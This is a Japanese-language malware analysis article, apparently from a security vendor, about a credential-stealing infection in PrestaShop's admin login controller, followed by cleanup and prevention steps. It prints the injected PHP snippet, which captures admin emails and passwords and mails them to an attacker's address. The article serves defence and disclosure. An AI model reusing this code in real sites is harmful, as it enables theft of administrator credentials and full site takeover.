Prestashop 認証情報を盗むマルウェア [2021]

成長を続ける e コマース プラットフォームである Prestashop は、情報を盗もうとするハッカーにとって大きな標的となっています。通常、標的となる情報はクレジット カード番号ですが、最近、当社の研究者は、Prestashop サイトを標的にしてサイト管理者の資格情報を盗む、新しいタイプの資格情報を盗むマルウェアを発見しました。これにより、Web サイトが完全に乗っ取られる可能性があります。

Prestashop の認証情報を盗むマルウェアのしくみ

ファイル ./controllers/admin/AdminLoginController.php に注入された Prestashop の認証情報を盗むマルウェア 次のような Prestashop サイトで:

public function processLogin()
   {
       /* Check fields validity */
       $passwd = trim(Tools::getValue('passwd'));
       $email = trim(Tools::getValue('email'));
$to = "admin@wsxdn.com";
$subject = "panel admin prestashop ". $_SERVER['SERVER_NAME'];
$header = "from: hacked <admin@wsxdn.com>";
$message = "Link : https://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: $email \r\n pass: $passwd \r\n by bajatax -- sniper :v \r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
$sentmail1 = @mail($to, $subject, $message, $header);

このコードは、サーバー情報を変数に渡すために使用されます。渡された変数の一部には、Prestashop バックエンドへのログインに使用されるユーザー名とパスワードが含まれています。この収集された情報は、PHP mail() function を使用してハッカーのメール アドレスに送信されることがあります。 .

送信される電子メールには、攻撃者がハッキングされた Prestashop サイトにログインするために必要なものがすべて含まれています。そこから、サイトにアクセスできます。これにより、Web サイトのバックエンド インターフェイスに完全にアクセスできるようになります。これは、コンテンツを変更したり、偽/感染したモジュールやプラグインをインストールしたり、さらに多くのことを実行できることを意味します.

場合によっては、このハッキングの被害者がバウンス メールを受信し始めました。これは、Google が攻撃を検出し、関連するアカウントを無効化/報告したことが原因である可能性があります。

このマルウェア感染キャンペーンを実行している攻撃者/ハッキング グループは、bajatx / B4JAT4T という名前であると考えられています。

Prestashop の認証情報を盗むマルウェアに感染した後にサイトを修正する方法

1.クリーニングする前に、サイトのバックアップを取ってください。

クリーニング中にユーザーが感染したページにアクセスしないように、Web サイトをオフラインにすることをお勧めします。すべてのコア ファイルとデータベースのバックアップを作成してください。 .zip などの圧縮ファイル形式でバックアップを取ることをお勧めします。

2.コア、プラグイン、およびテーマ ファイルを置き換えます。

感染したコア ファイルを、信頼できるソースからの元のバージョンに置き換えることができます。これらのファイルとディレクトリの新しいバージョンと更新されたバージョンをダウンロードした後、古いものを削除できます。コア ファイル内で悪意のあるコードが見つかっているため、これは Prestashop の認証情報を盗むマルウェアをクリーンアップする上で特に重要です。

3.最近変更された疑わしいファイルを消去します。

最近変更されたファイルを調べると、感染している可能性のあるファイルを見つけることができます。これらのファイルは、所有しているクリーン バックアップまたは信頼できるソースから復元できます。

4.マルウェア スキャンを実行します。

Web サーバーでマルウェア スキャンを実行して、マルウェアと悪意のあるファイルを探します。 Web ホストが提供する cPanel の「ウイルス スキャナー」ツールを使用するか、Astra Pro Plan で専門的なマルウェア クリーンアップを取得して、攻撃と盗まれたデータをダウンロードしようとするボットをブロックすることができます。

これらの手順に加えて、Prestashop のセキュリティに関するこの記事が役立つ場合があります。

さらなる攻撃を防ぐ方法

サイトを修正した後、Prestashop の認証情報を盗むマルウェアから Web サイトを安全に保つために、従うべきいくつかの優れたセキュリティ プラクティスを以下に示します。

• ソフトウェアの最新アップデートを実行していることを確認してください
• 信頼できるサードパーティの支払い処理業者を使用する
• 定期的なマルウェア スキャン/セキュリティ監査の実施
• ファイアウォールへの投資

進化し続けるハッカーの手口から Web サイトを保護する唯一の確実な方法は、セキュリティに投資することです。 Web サイトのファイアウォールに投資し、頻繁にマルウェア スキャンを実行し、定期的なセキュリティ監査を受けることは、Web サイトの全体的なセキュリティの優れたアイデアを提供するための優れたアイデアです。